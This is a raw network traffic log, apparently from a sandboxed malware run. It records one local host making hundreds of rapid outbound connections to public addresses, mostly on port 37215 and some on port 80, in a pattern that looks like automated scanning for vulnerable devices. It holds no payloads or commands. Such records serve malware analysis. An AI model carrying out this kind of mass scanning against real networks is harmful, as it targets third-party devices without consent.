Jan 30, 2025 10:43:02.184031963 CET	80	48158	74.228.168.93	192.168.2.13
Jan 30, 2025 10:43:02.184104919 CET	80	34142	24.92.71.116	192.168.2.13
Jan 30, 2025 10:43:02.184114933 CET	49264	37215	192.168.2.13	197.15.93.92
Jan 30, 2025 10:43:02.184154987 CET	48158	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:43:02.184184074 CET	34142	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:02.184376955 CET	38811	37215	192.168.2.13	41.8.136.218
Jan 30, 2025 10:43:02.184418917 CET	38811	37215	192.168.2.13	197.80.7.209
Jan 30, 2025 10:43:02.184422016 CET	38811	37215	192.168.2.13	197.169.27.119
Jan 30, 2025 10:43:02.184442043 CET	38811	37215	192.168.2.13	41.178.75.153
Jan 30, 2025 10:43:02.184446096 CET	38811	37215	192.168.2.13	197.59.8.158
Jan 30, 2025 10:43:02.184463024 CET	38811	37215	192.168.2.13	156.31.94.253
Jan 30, 2025 10:43:02.184467077 CET	38811	37215	192.168.2.13	197.97.216.230
Jan 30, 2025 10:43:02.184475899 CET	38811	37215	192.168.2.13	41.63.108.162
Jan 30, 2025 10:43:02.184484959 CET	38811	37215	192.168.2.13	41.201.162.147
Jan 30, 2025 10:43:02.184513092 CET	38811	37215	192.168.2.13	197.206.168.200
Jan 30, 2025 10:43:02.184524059 CET	38811	37215	192.168.2.13	41.219.195.247
Jan 30, 2025 10:43:02.184529066 CET	38811	37215	192.168.2.13	156.180.135.103
Jan 30, 2025 10:43:02.184530973 CET	38811	37215	192.168.2.13	41.120.248.155
Jan 30, 2025 10:43:02.184537888 CET	38811	37215	192.168.2.13	156.155.53.88
Jan 30, 2025 10:43:02.184550047 CET	38811	37215	192.168.2.13	41.240.111.120
Jan 30, 2025 10:43:02.184557915 CET	38811	37215	192.168.2.13	156.154.27.245
Jan 30, 2025 10:43:02.184576035 CET	38811	37215	192.168.2.13	156.61.0.195
Jan 30, 2025 10:43:02.184585094 CET	38811	37215	192.168.2.13	41.162.162.130
Jan 30, 2025 10:43:02.184593916 CET	38811	37215	192.168.2.13	41.24.12.203
Jan 30, 2025 10:43:02.184608936 CET	38811	37215	192.168.2.13	197.170.187.214
Jan 30, 2025 10:43:02.184633970 CET	48860	80	192.168.2.13	136.231.21.226
Jan 30, 2025 10:43:02.184655905 CET	38811	37215	192.168.2.13	156.219.175.116
Jan 30, 2025 10:43:02.184664965 CET	38811	37215	192.168.2.13	156.210.106.211
Jan 30, 2025 10:43:02.184673071 CET	38811	37215	192.168.2.13	197.142.15.232
Jan 30, 2025 10:43:02.184681892 CET	38811	37215	192.168.2.13	41.94.27.27
Jan 30, 2025 10:43:02.184690952 CET	38811	37215	192.168.2.13	197.248.105.248
Jan 30, 2025 10:43:02.184701920 CET	38811	37215	192.168.2.13	41.81.136.22
Jan 30, 2025 10:43:02.184708118 CET	38811	37215	192.168.2.13	41.159.140.161
Jan 30, 2025 10:43:02.184720993 CET	38811	37215	192.168.2.13	156.133.141.78
Jan 30, 2025 10:43:02.184752941 CET	38811	37215	192.168.2.13	41.87.34.169
Jan 30, 2025 10:43:02.184762001 CET	38811	37215	192.168.2.13	156.19.142.246
Jan 30, 2025 10:43:02.184775114 CET	38811	37215	192.168.2.13	197.78.31.250
Jan 30, 2025 10:43:02.184802055 CET	38811	37215	192.168.2.13	197.126.108.99
Jan 30, 2025 10:43:02.184806108 CET	38811	37215	192.168.2.13	197.216.56.29
Jan 30, 2025 10:43:02.184806108 CET	38811	37215	192.168.2.13	41.75.17.16
Jan 30, 2025 10:43:02.184808969 CET	38811	37215	192.168.2.13	156.119.36.239
Jan 30, 2025 10:43:02.184813023 CET	38811	37215	192.168.2.13	41.34.19.211
Jan 30, 2025 10:43:02.184817076 CET	38811	37215	192.168.2.13	156.68.73.124
Jan 30, 2025 10:43:02.184813023 CET	38811	37215	192.168.2.13	41.136.135.96
Jan 30, 2025 10:43:02.184856892 CET	38811	37215	192.168.2.13	156.177.186.169
Jan 30, 2025 10:43:02.184860945 CET	38811	37215	192.168.2.13	156.194.79.63
Jan 30, 2025 10:43:02.184883118 CET	38811	37215	192.168.2.13	41.251.186.76
Jan 30, 2025 10:43:02.184885979 CET	38811	37215	192.168.2.13	41.147.137.79
Jan 30, 2025 10:43:02.184887886 CET	38811	37215	192.168.2.13	41.141.136.188
Jan 30, 2025 10:43:02.184890985 CET	38811	37215	192.168.2.13	41.141.49.226
Jan 30, 2025 10:43:02.184896946 CET	38811	37215	192.168.2.13	156.56.32.226
Jan 30, 2025 10:43:02.184916973 CET	38811	37215	192.168.2.13	41.106.18.154
Jan 30, 2025 10:43:02.184926033 CET	38811	37215	192.168.2.13	41.183.254.230
Jan 30, 2025 10:43:02.184958935 CET	38811	37215	192.168.2.13	41.169.45.10
Jan 30, 2025 10:43:02.184973001 CET	38811	37215	192.168.2.13	41.74.41.136
Jan 30, 2025 10:43:02.184981108 CET	38811	37215	192.168.2.13	41.142.34.152
Jan 30, 2025 10:43:02.184992075 CET	38811	37215	192.168.2.13	156.143.151.235
Jan 30, 2025 10:43:02.185033083 CET	38811	37215	192.168.2.13	41.13.223.8
Jan 30, 2025 10:43:02.185050011 CET	38811	37215	192.168.2.13	41.124.137.205
Jan 30, 2025 10:43:02.185058117 CET	38811	37215	192.168.2.13	41.58.43.163
Jan 30, 2025 10:43:02.185058117 CET	38811	37215	192.168.2.13	197.174.147.144
Jan 30, 2025 10:43:02.185058117 CET	38811	37215	192.168.2.13	156.31.255.229
Jan 30, 2025 10:43:02.185058117 CET	38811	37215	192.168.2.13	41.215.89.175
Jan 30, 2025 10:43:02.185058117 CET	38811	37215	192.168.2.13	41.41.179.192
Jan 30, 2025 10:43:02.185080051 CET	38811	37215	192.168.2.13	197.183.119.134
Jan 30, 2025 10:43:02.185085058 CET	38811	37215	192.168.2.13	41.198.75.210
Jan 30, 2025 10:43:02.185116053 CET	38811	37215	192.168.2.13	41.28.237.52
Jan 30, 2025 10:43:02.185128927 CET	38811	37215	192.168.2.13	41.216.227.187
Jan 30, 2025 10:43:02.185132027 CET	38811	37215	192.168.2.13	41.248.51.132
Jan 30, 2025 10:43:02.185132027 CET	38811	37215	192.168.2.13	41.199.241.28
Jan 30, 2025 10:43:02.185154915 CET	38811	37215	192.168.2.13	197.127.125.219
Jan 30, 2025 10:43:02.185173988 CET	38811	37215	192.168.2.13	197.248.168.26
Jan 30, 2025 10:43:02.185184956 CET	38811	37215	192.168.2.13	41.22.92.152
Jan 30, 2025 10:43:02.185189962 CET	38811	37215	192.168.2.13	41.26.49.242
Jan 30, 2025 10:43:02.185198069 CET	38811	37215	192.168.2.13	197.51.224.105
Jan 30, 2025 10:43:02.185209036 CET	38811	37215	192.168.2.13	156.116.76.150
Jan 30, 2025 10:43:02.185215950 CET	38811	37215	192.168.2.13	156.35.134.101
Jan 30, 2025 10:43:02.185235023 CET	38811	37215	192.168.2.13	197.124.204.220
Jan 30, 2025 10:43:02.185235023 CET	38811	37215	192.168.2.13	156.76.226.23
Jan 30, 2025 10:43:02.185247898 CET	38811	37215	192.168.2.13	156.113.104.29
Jan 30, 2025 10:43:02.185265064 CET	38811	37215	192.168.2.13	156.166.137.46
Jan 30, 2025 10:43:02.185312033 CET	38811	37215	192.168.2.13	197.44.98.80
Jan 30, 2025 10:43:02.185313940 CET	38811	37215	192.168.2.13	41.186.16.90
Jan 30, 2025 10:43:02.185319901 CET	38811	37215	192.168.2.13	197.139.72.241
Jan 30, 2025 10:43:02.185322046 CET	38811	37215	192.168.2.13	156.13.150.196
Jan 30, 2025 10:43:02.185322046 CET	38811	37215	192.168.2.13	156.168.167.182
Jan 30, 2025 10:43:02.185347080 CET	38811	37215	192.168.2.13	197.103.23.139
Jan 30, 2025 10:43:02.185363054 CET	38811	37215	192.168.2.13	156.137.103.186
Jan 30, 2025 10:43:02.185364962 CET	38811	37215	192.168.2.13	41.163.36.237
Jan 30, 2025 10:43:02.185364962 CET	38811	37215	192.168.2.13	197.54.147.255
Jan 30, 2025 10:43:02.185370922 CET	38811	37215	192.168.2.13	197.72.224.230
Jan 30, 2025 10:43:02.185376883 CET	38811	37215	192.168.2.13	41.32.185.35
Jan 30, 2025 10:43:02.185405970 CET	47838	80	192.168.2.13	151.240.35.232
Jan 30, 2025 10:43:02.185429096 CET	38811	37215	192.168.2.13	197.160.242.107
Jan 30, 2025 10:43:02.185446978 CET	38811	37215	192.168.2.13	41.233.95.192
Jan 30, 2025 10:43:02.185455084 CET	38811	37215	192.168.2.13	41.65.21.44
Jan 30, 2025 10:43:02.185463905 CET	38811	37215	192.168.2.13	156.119.53.171
Jan 30, 2025 10:43:02.185471058 CET	38811	37215	192.168.2.13	197.197.206.51
Jan 30, 2025 10:43:02.185475111 CET	38811	37215	192.168.2.13	41.201.237.62
Jan 30, 2025 10:43:02.185497999 CET	38811	37215	192.168.2.13	41.210.108.101
Jan 30, 2025 10:43:02.185498953 CET	38811	37215	192.168.2.13	197.183.118.107
Jan 30, 2025 10:43:02.185524940 CET	38811	37215	192.168.2.13	41.57.100.23
Jan 30, 2025 10:43:02.185535908 CET	38811	37215	192.168.2.13	156.120.119.148
Jan 30, 2025 10:43:02.185545921 CET	38811	37215	192.168.2.13	197.139.156.65
Jan 30, 2025 10:43:02.185550928 CET	38811	37215	192.168.2.13	41.61.47.204
Jan 30, 2025 10:43:02.185568094 CET	38811	37215	192.168.2.13	41.245.199.250
Jan 30, 2025 10:43:02.185569048 CET	38811	37215	192.168.2.13	197.211.77.214
Jan 30, 2025 10:43:02.185585022 CET	38811	37215	192.168.2.13	41.55.244.1
Jan 30, 2025 10:43:02.185585976 CET	38811	37215	192.168.2.13	41.73.250.6
Jan 30, 2025 10:43:02.185597897 CET	38811	37215	192.168.2.13	197.181.136.215
Jan 30, 2025 10:43:02.185616970 CET	38811	37215	192.168.2.13	156.118.231.73
Jan 30, 2025 10:43:02.185625076 CET	38811	37215	192.168.2.13	41.146.38.139
Jan 30, 2025 10:43:02.185632944 CET	38811	37215	192.168.2.13	41.172.47.250
Jan 30, 2025 10:43:02.185664892 CET	38811	37215	192.168.2.13	197.252.157.116
Jan 30, 2025 10:43:02.185674906 CET	38811	37215	192.168.2.13	156.132.28.237
Jan 30, 2025 10:43:02.185686111 CET	38811	37215	192.168.2.13	197.97.146.151
Jan 30, 2025 10:43:02.185699940 CET	38811	37215	192.168.2.13	41.41.210.139
Jan 30, 2025 10:43:02.185699940 CET	38811	37215	192.168.2.13	156.184.7.169
Jan 30, 2025 10:43:02.185724020 CET	38811	37215	192.168.2.13	197.25.20.204
Jan 30, 2025 10:43:02.185729027 CET	38811	37215	192.168.2.13	197.112.196.199
Jan 30, 2025 10:43:02.185739040 CET	38811	37215	192.168.2.13	41.228.14.140
Jan 30, 2025 10:43:02.185739040 CET	38811	37215	192.168.2.13	156.216.247.177
Jan 30, 2025 10:43:02.185775042 CET	38811	37215	192.168.2.13	156.165.249.80
Jan 30, 2025 10:43:02.185787916 CET	38811	37215	192.168.2.13	156.162.230.90
Jan 30, 2025 10:43:02.185791016 CET	38811	37215	192.168.2.13	41.15.15.1
Jan 30, 2025 10:43:02.185796976 CET	38811	37215	192.168.2.13	41.3.130.250
Jan 30, 2025 10:43:02.185812950 CET	38811	37215	192.168.2.13	41.158.95.45
Jan 30, 2025 10:43:02.185815096 CET	38811	37215	192.168.2.13	156.172.93.104
Jan 30, 2025 10:43:02.185832024 CET	38811	37215	192.168.2.13	197.119.69.56
Jan 30, 2025 10:43:02.185844898 CET	38811	37215	192.168.2.13	41.58.187.18
Jan 30, 2025 10:43:02.185848951 CET	38811	37215	192.168.2.13	41.210.64.35
Jan 30, 2025 10:43:02.185894012 CET	38811	37215	192.168.2.13	197.142.99.110
Jan 30, 2025 10:43:02.185909033 CET	38811	37215	192.168.2.13	41.169.105.138
Jan 30, 2025 10:43:02.185920954 CET	38811	37215	192.168.2.13	197.229.64.14
Jan 30, 2025 10:43:02.185935020 CET	38811	37215	192.168.2.13	197.162.180.151
Jan 30, 2025 10:43:02.185936928 CET	38811	37215	192.168.2.13	197.148.146.67
Jan 30, 2025 10:43:02.185944080 CET	38811	37215	192.168.2.13	156.78.144.37
Jan 30, 2025 10:43:02.185951948 CET	38811	37215	192.168.2.13	197.211.126.133
Jan 30, 2025 10:43:02.185967922 CET	38811	37215	192.168.2.13	197.98.148.235
Jan 30, 2025 10:43:02.185971022 CET	38811	37215	192.168.2.13	41.0.66.148
Jan 30, 2025 10:43:02.186005116 CET	38811	37215	192.168.2.13	156.79.87.64
Jan 30, 2025 10:43:02.186007977 CET	38811	37215	192.168.2.13	197.203.210.89
Jan 30, 2025 10:43:02.186022997 CET	38811	37215	192.168.2.13	41.46.179.33
Jan 30, 2025 10:43:02.186038971 CET	38811	37215	192.168.2.13	197.191.4.151
Jan 30, 2025 10:43:02.186045885 CET	38811	37215	192.168.2.13	156.11.220.16
Jan 30, 2025 10:43:02.186057091 CET	38811	37215	192.168.2.13	41.230.99.245
Jan 30, 2025 10:43:02.186058044 CET	38811	37215	192.168.2.13	41.108.62.152
Jan 30, 2025 10:43:02.186068058 CET	38811	37215	192.168.2.13	197.206.108.85
Jan 30, 2025 10:43:02.186074018 CET	38811	37215	192.168.2.13	41.6.58.60
Jan 30, 2025 10:43:02.186090946 CET	38811	37215	192.168.2.13	197.49.85.39
Jan 30, 2025 10:43:02.186098099 CET	38811	37215	192.168.2.13	41.164.93.248
Jan 30, 2025 10:43:02.186132908 CET	38811	37215	192.168.2.13	156.79.90.152
Jan 30, 2025 10:43:02.186147928 CET	38811	37215	192.168.2.13	197.162.10.150
Jan 30, 2025 10:43:02.186148882 CET	38811	37215	192.168.2.13	41.255.211.33
Jan 30, 2025 10:43:02.186166048 CET	38811	37215	192.168.2.13	156.146.188.180
Jan 30, 2025 10:43:02.186170101 CET	38811	37215	192.168.2.13	156.90.111.228
Jan 30, 2025 10:43:02.186187029 CET	38811	37215	192.168.2.13	41.220.202.202
Jan 30, 2025 10:43:02.186197996 CET	38811	37215	192.168.2.13	156.74.114.234
Jan 30, 2025 10:43:02.186203003 CET	38811	37215	192.168.2.13	156.223.213.80
Jan 30, 2025 10:43:02.186223984 CET	38811	37215	192.168.2.13	41.201.59.222
Jan 30, 2025 10:43:02.186235905 CET	59260	80	192.168.2.13	183.103.119.38
Jan 30, 2025 10:43:02.186254025 CET	38811	37215	192.168.2.13	41.108.220.233
Jan 30, 2025 10:43:02.186263084 CET	38811	37215	192.168.2.13	156.187.137.114
Jan 30, 2025 10:43:02.186270952 CET	38811	37215	192.168.2.13	156.193.122.54
Jan 30, 2025 10:43:02.186289072 CET	38811	37215	192.168.2.13	41.31.112.178
Jan 30, 2025 10:43:02.186291933 CET	38811	37215	192.168.2.13	41.106.195.124
Jan 30, 2025 10:43:02.186311007 CET	38811	37215	192.168.2.13	41.71.5.16
Jan 30, 2025 10:43:02.186312914 CET	38811	37215	192.168.2.13	197.249.87.225
Jan 30, 2025 10:43:02.186319113 CET	38811	37215	192.168.2.13	41.193.250.181
Jan 30, 2025 10:43:02.186355114 CET	38811	37215	192.168.2.13	156.150.79.40
Jan 30, 2025 10:43:02.186368942 CET	38811	37215	192.168.2.13	156.25.135.163
Jan 30, 2025 10:43:02.186378956 CET	38811	37215	192.168.2.13	41.38.105.83
Jan 30, 2025 10:43:02.186394930 CET	38811	37215	192.168.2.13	41.92.29.83
Jan 30, 2025 10:43:02.186403036 CET	38811	37215	192.168.2.13	41.151.178.108
Jan 30, 2025 10:43:02.186408043 CET	38811	37215	192.168.2.13	197.101.103.84
Jan 30, 2025 10:43:02.186425924 CET	38811	37215	192.168.2.13	197.212.21.219
Jan 30, 2025 10:43:02.186446905 CET	38811	37215	192.168.2.13	156.35.170.113
Jan 30, 2025 10:43:02.186460972 CET	38811	37215	192.168.2.13	41.1.46.144
Jan 30, 2025 10:43:02.186477900 CET	38811	37215	192.168.2.13	156.194.71.221
Jan 30, 2025 10:43:02.186496019 CET	38811	37215	192.168.2.13	41.89.24.116
Jan 30, 2025 10:43:02.186503887 CET	38811	37215	192.168.2.13	197.194.81.100
Jan 30, 2025 10:43:02.186515093 CET	38811	37215	192.168.2.13	197.98.85.117
Jan 30, 2025 10:43:02.186522007 CET	38811	37215	192.168.2.13	197.200.80.236
Jan 30, 2025 10:43:02.186531067 CET	38811	37215	192.168.2.13	41.202.136.82
Jan 30, 2025 10:43:02.186536074 CET	38811	37215	192.168.2.13	41.111.165.120
Jan 30, 2025 10:43:02.186537981 CET	38811	37215	192.168.2.13	41.166.18.33
Jan 30, 2025 10:43:02.186551094 CET	38811	37215	192.168.2.13	156.214.52.47
Jan 30, 2025 10:43:02.186551094 CET	38811	37215	192.168.2.13	156.56.26.248
Jan 30, 2025 10:43:02.186563015 CET	38811	37215	192.168.2.13	41.120.35.20
Jan 30, 2025 10:43:02.186595917 CET	38811	37215	192.168.2.13	197.211.14.118
Jan 30, 2025 10:43:02.186609983 CET	38811	37215	192.168.2.13	41.145.52.213
Jan 30, 2025 10:43:02.186626911 CET	38811	37215	192.168.2.13	197.149.94.165
Jan 30, 2025 10:43:02.186634064 CET	38811	37215	192.168.2.13	41.133.246.2
Jan 30, 2025 10:43:02.186640978 CET	38811	37215	192.168.2.13	156.226.134.190
Jan 30, 2025 10:43:02.186654091 CET	38811	37215	192.168.2.13	197.153.204.137
Jan 30, 2025 10:43:02.186670065 CET	38811	37215	192.168.2.13	197.36.114.224
Jan 30, 2025 10:43:02.186677933 CET	38811	37215	192.168.2.13	41.88.141.52
Jan 30, 2025 10:43:02.186685085 CET	38811	37215	192.168.2.13	156.130.46.76
Jan 30, 2025 10:43:02.186742067 CET	38811	37215	192.168.2.13	156.71.211.197
Jan 30, 2025 10:43:02.186744928 CET	38811	37215	192.168.2.13	41.194.2.18
Jan 30, 2025 10:43:02.186754942 CET	38811	37215	192.168.2.13	41.176.185.114
Jan 30, 2025 10:43:02.186758041 CET	38811	37215	192.168.2.13	197.192.135.174
Jan 30, 2025 10:43:02.186770916 CET	38811	37215	192.168.2.13	197.153.93.88
Jan 30, 2025 10:43:02.186774969 CET	38811	37215	192.168.2.13	41.156.167.109
Jan 30, 2025 10:43:02.186793089 CET	38811	37215	192.168.2.13	156.176.228.214
Jan 30, 2025 10:43:02.186793089 CET	38811	37215	192.168.2.13	156.208.75.43
Jan 30, 2025 10:43:02.186805964 CET	38811	37215	192.168.2.13	156.218.80.187
Jan 30, 2025 10:43:02.186836958 CET	38811	37215	192.168.2.13	197.39.7.111
Jan 30, 2025 10:43:02.186836958 CET	38811	37215	192.168.2.13	41.229.112.9
Jan 30, 2025 10:43:02.186853886 CET	38811	37215	192.168.2.13	156.51.23.210
Jan 30, 2025 10:43:02.186857939 CET	38811	37215	192.168.2.13	197.62.74.191
Jan 30, 2025 10:43:02.186877966 CET	38811	37215	192.168.2.13	41.132.117.74
Jan 30, 2025 10:43:02.186889887 CET	38811	37215	192.168.2.13	197.173.189.202
Jan 30, 2025 10:43:02.186893940 CET	38811	37215	192.168.2.13	156.114.219.172
Jan 30, 2025 10:43:02.186897993 CET	38811	37215	192.168.2.13	41.185.19.58
Jan 30, 2025 10:43:02.186925888 CET	38811	37215	192.168.2.13	197.50.71.86
Jan 30, 2025 10:43:02.186938047 CET	38811	37215	192.168.2.13	156.51.92.116
Jan 30, 2025 10:43:02.186950922 CET	38811	37215	192.168.2.13	156.235.126.64
Jan 30, 2025 10:43:02.186964035 CET	38811	37215	192.168.2.13	41.49.51.231
Jan 30, 2025 10:43:02.186969995 CET	38811	37215	192.168.2.13	41.188.245.196
Jan 30, 2025 10:43:02.186983109 CET	38811	37215	192.168.2.13	197.46.134.177
Jan 30, 2025 10:43:02.186985970 CET	38811	37215	192.168.2.13	197.85.149.73
Jan 30, 2025 10:43:02.186995029 CET	38811	37215	192.168.2.13	197.198.225.6
Jan 30, 2025 10:43:02.187011003 CET	36300	80	192.168.2.13	48.121.103.134
Jan 30, 2025 10:43:02.187035084 CET	38811	37215	192.168.2.13	156.195.136.22
Jan 30, 2025 10:43:02.187041044 CET	38811	37215	192.168.2.13	197.255.2.196
Jan 30, 2025 10:43:02.187068939 CET	38811	37215	192.168.2.13	156.112.146.80
Jan 30, 2025 10:43:02.187068939 CET	38811	37215	192.168.2.13	197.250.248.24
Jan 30, 2025 10:43:02.187073946 CET	38811	37215	192.168.2.13	197.1.38.163
Jan 30, 2025 10:43:02.187083006 CET	38811	37215	192.168.2.13	156.24.168.126
Jan 30, 2025 10:43:02.187083960 CET	38811	37215	192.168.2.13	156.140.130.5
Jan 30, 2025 10:43:02.187115908 CET	38811	37215	192.168.2.13	156.210.59.54
Jan 30, 2025 10:43:02.187115908 CET	38811	37215	192.168.2.13	197.24.162.116
Jan 30, 2025 10:43:02.187156916 CET	38811	37215	192.168.2.13	197.144.154.201
Jan 30, 2025 10:43:02.187156916 CET	38811	37215	192.168.2.13	41.181.73.88
Jan 30, 2025 10:43:02.187156916 CET	38811	37215	192.168.2.13	156.38.61.32
Jan 30, 2025 10:43:02.187182903 CET	38811	37215	192.168.2.13	41.139.66.77
Jan 30, 2025 10:43:02.187184095 CET	38811	37215	192.168.2.13	156.217.205.120
Jan 30, 2025 10:43:02.187211037 CET	38811	37215	192.168.2.13	156.189.243.248
Jan 30, 2025 10:43:02.187223911 CET	38811	37215	192.168.2.13	41.152.55.3
Jan 30, 2025 10:43:02.187230110 CET	38811	37215	192.168.2.13	41.169.28.112
Jan 30, 2025 10:43:02.187230110 CET	38811	37215	192.168.2.13	156.111.244.238
Jan 30, 2025 10:43:02.187253952 CET	38811	37215	192.168.2.13	156.78.228.234
Jan 30, 2025 10:43:02.187268972 CET	38811	37215	192.168.2.13	41.93.234.223
Jan 30, 2025 10:43:02.187271118 CET	38811	37215	192.168.2.13	41.96.53.73
Jan 30, 2025 10:43:02.187279940 CET	38811	37215	192.168.2.13	197.196.130.86
Jan 30, 2025 10:43:02.187282085 CET	38811	37215	192.168.2.13	41.116.129.250
Jan 30, 2025 10:43:02.187294960 CET	38811	37215	192.168.2.13	197.185.207.16
Jan 30, 2025 10:43:02.187320948 CET	38811	37215	192.168.2.13	41.50.216.35
Jan 30, 2025 10:43:02.187320948 CET	38811	37215	192.168.2.13	197.148.179.36
Jan 30, 2025 10:43:02.187329054 CET	38811	37215	192.168.2.13	197.184.128.160
Jan 30, 2025 10:43:02.187335014 CET	38811	37215	192.168.2.13	41.67.230.215
Jan 30, 2025 10:43:02.187355042 CET	38811	37215	192.168.2.13	197.101.16.35
Jan 30, 2025 10:43:02.187381029 CET	38811	37215	192.168.2.13	156.15.130.60
Jan 30, 2025 10:43:02.187392950 CET	38811	37215	192.168.2.13	156.149.186.255
Jan 30, 2025 10:43:02.187398911 CET	38811	37215	192.168.2.13	156.177.234.239
Jan 30, 2025 10:43:02.187403917 CET	38811	37215	192.168.2.13	41.168.94.151
Jan 30, 2025 10:43:02.187417030 CET	38811	37215	192.168.2.13	156.126.137.85
Jan 30, 2025 10:43:02.187438965 CET	38811	37215	192.168.2.13	156.55.242.188
Jan 30, 2025 10:43:02.187443972 CET	38811	37215	192.168.2.13	197.231.189.41
Jan 30, 2025 10:43:02.187458038 CET	38811	37215	192.168.2.13	41.0.251.31
Jan 30, 2025 10:43:02.187460899 CET	38811	37215	192.168.2.13	197.126.49.44
Jan 30, 2025 10:43:02.187510014 CET	38811	37215	192.168.2.13	197.76.187.49
Jan 30, 2025 10:43:02.187510967 CET	38811	37215	192.168.2.13	156.196.88.226
Jan 30, 2025 10:43:02.187513113 CET	38811	37215	192.168.2.13	156.135.234.239
Jan 30, 2025 10:43:02.187534094 CET	38811	37215	192.168.2.13	41.39.224.108
Jan 30, 2025 10:43:02.187535048 CET	38811	37215	192.168.2.13	156.140.1.19
Jan 30, 2025 10:43:02.187541962 CET	38811	37215	192.168.2.13	41.79.114.219
Jan 30, 2025 10:43:02.187550068 CET	38811	37215	192.168.2.13	41.31.46.26
Jan 30, 2025 10:43:02.187556982 CET	38811	37215	192.168.2.13	197.224.147.80
Jan 30, 2025 10:43:02.187572002 CET	38811	37215	192.168.2.13	41.56.213.15
Jan 30, 2025 10:43:02.187603951 CET	38811	37215	192.168.2.13	41.233.176.134
Jan 30, 2025 10:43:02.187618017 CET	38811	37215	192.168.2.13	41.26.245.83
Jan 30, 2025 10:43:02.187628984 CET	38811	37215	192.168.2.13	197.54.19.78
Jan 30, 2025 10:43:02.187638998 CET	38811	37215	192.168.2.13	156.151.131.84
Jan 30, 2025 10:43:02.187645912 CET	38811	37215	192.168.2.13	197.26.67.248
Jan 30, 2025 10:43:02.187649012 CET	38811	37215	192.168.2.13	41.165.133.248
Jan 30, 2025 10:43:02.187669039 CET	38811	37215	192.168.2.13	41.231.255.60
Jan 30, 2025 10:43:02.187671900 CET	38811	37215	192.168.2.13	156.46.144.47
Jan 30, 2025 10:43:02.187705040 CET	38811	37215	192.168.2.13	41.171.105.85
Jan 30, 2025 10:43:02.187716961 CET	38811	37215	192.168.2.13	41.50.132.192
Jan 30, 2025 10:43:02.187731028 CET	38811	37215	192.168.2.13	41.184.64.21
Jan 30, 2025 10:43:02.187747002 CET	38811	37215	192.168.2.13	197.239.176.85
Jan 30, 2025 10:43:02.187756062 CET	38811	37215	192.168.2.13	156.89.22.130
Jan 30, 2025 10:43:02.187757969 CET	38811	37215	192.168.2.13	156.252.238.236
Jan 30, 2025 10:43:02.187767982 CET	38811	37215	192.168.2.13	197.72.56.112
Jan 30, 2025 10:43:02.187772989 CET	38811	37215	192.168.2.13	197.206.96.85
Jan 30, 2025 10:43:02.187784910 CET	38811	37215	192.168.2.13	156.240.240.50
Jan 30, 2025 10:43:02.187807083 CET	60528	80	192.168.2.13	109.76.63.37
Jan 30, 2025 10:43:02.187834978 CET	38811	37215	192.168.2.13	41.248.8.53
Jan 30, 2025 10:43:02.187840939 CET	38811	37215	192.168.2.13	197.81.163.229
Jan 30, 2025 10:43:02.187849998 CET	38811	37215	192.168.2.13	197.73.253.142
Jan 30, 2025 10:43:02.187865019 CET	38811	37215	192.168.2.13	156.172.182.6
Jan 30, 2025 10:43:02.187865973 CET	38811	37215	192.168.2.13	156.149.247.217
Jan 30, 2025 10:43:02.187876940 CET	38811	37215	192.168.2.13	197.163.134.47
Jan 30, 2025 10:43:02.187880993 CET	38811	37215	192.168.2.13	156.238.4.184
Jan 30, 2025 10:43:02.187894106 CET	38811	37215	192.168.2.13	156.136.69.217
Jan 30, 2025 10:43:02.187906027 CET	38811	37215	192.168.2.13	156.121.69.108
Jan 30, 2025 10:43:02.187912941 CET	38811	37215	192.168.2.13	41.22.148.118
Jan 30, 2025 10:43:02.187927008 CET	38811	37215	192.168.2.13	197.190.216.158
Jan 30, 2025 10:43:02.187975883 CET	38811	37215	192.168.2.13	197.191.197.24
Jan 30, 2025 10:43:02.187979937 CET	38811	37215	192.168.2.13	156.149.181.55
Jan 30, 2025 10:43:02.187980890 CET	38811	37215	192.168.2.13	156.38.246.193
Jan 30, 2025 10:43:02.187998056 CET	38811	37215	192.168.2.13	156.167.45.188
Jan 30, 2025 10:43:02.187998056 CET	38811	37215	192.168.2.13	197.85.54.36
Jan 30, 2025 10:43:02.188014984 CET	38811	37215	192.168.2.13	197.103.103.96
Jan 30, 2025 10:43:02.188039064 CET	38811	37215	192.168.2.13	41.226.238.218
Jan 30, 2025 10:43:02.188040972 CET	38811	37215	192.168.2.13	41.71.105.251
Jan 30, 2025 10:43:02.188045025 CET	38811	37215	192.168.2.13	41.74.146.255
Jan 30, 2025 10:43:02.188054085 CET	38811	37215	192.168.2.13	156.9.167.248
Jan 30, 2025 10:43:02.188080072 CET	38811	37215	192.168.2.13	197.146.91.124
Jan 30, 2025 10:43:02.188095093 CET	38811	37215	192.168.2.13	197.52.172.179
Jan 30, 2025 10:43:02.188095093 CET	38811	37215	192.168.2.13	41.16.2.52
Jan 30, 2025 10:43:02.188112974 CET	38811	37215	192.168.2.13	197.223.96.2
Jan 30, 2025 10:43:02.188112974 CET	38811	37215	192.168.2.13	156.88.169.228
Jan 30, 2025 10:43:02.188123941 CET	38811	37215	192.168.2.13	197.167.197.201
Jan 30, 2025 10:43:02.188127995 CET	38811	37215	192.168.2.13	41.72.99.213
Jan 30, 2025 10:43:02.188148975 CET	38811	37215	192.168.2.13	41.238.106.4
Jan 30, 2025 10:43:02.188173056 CET	38811	37215	192.168.2.13	41.101.133.253
Jan 30, 2025 10:43:02.188185930 CET	38811	37215	192.168.2.13	41.68.186.246
Jan 30, 2025 10:43:02.188194990 CET	38811	37215	192.168.2.13	197.76.5.221
Jan 30, 2025 10:43:02.188199997 CET	38811	37215	192.168.2.13	41.193.12.26
Jan 30, 2025 10:43:02.188210964 CET	38811	37215	192.168.2.13	197.99.119.5
Jan 30, 2025 10:43:02.188229084 CET	38811	37215	192.168.2.13	197.71.151.221
Jan 30, 2025 10:43:02.188241959 CET	38811	37215	192.168.2.13	41.215.155.173
Jan 30, 2025 10:43:02.188251019 CET	38811	37215	192.168.2.13	156.59.150.38
Jan 30, 2025 10:43:02.188258886 CET	38811	37215	192.168.2.13	156.227.1.63
Jan 30, 2025 10:43:02.188266993 CET	38811	37215	192.168.2.13	156.139.234.42
Jan 30, 2025 10:43:02.188270092 CET	38811	37215	192.168.2.13	197.34.100.192
Jan 30, 2025 10:43:02.188277960 CET	38811	37215	192.168.2.13	156.42.82.23
Jan 30, 2025 10:43:02.188548088 CET	49264	37215	192.168.2.13	197.15.93.92
Jan 30, 2025 10:43:02.188561916 CET	49264	37215	192.168.2.13	197.15.93.92
Jan 30, 2025 10:43:02.188591003 CET	37758	80	192.168.2.13	199.200.216.72
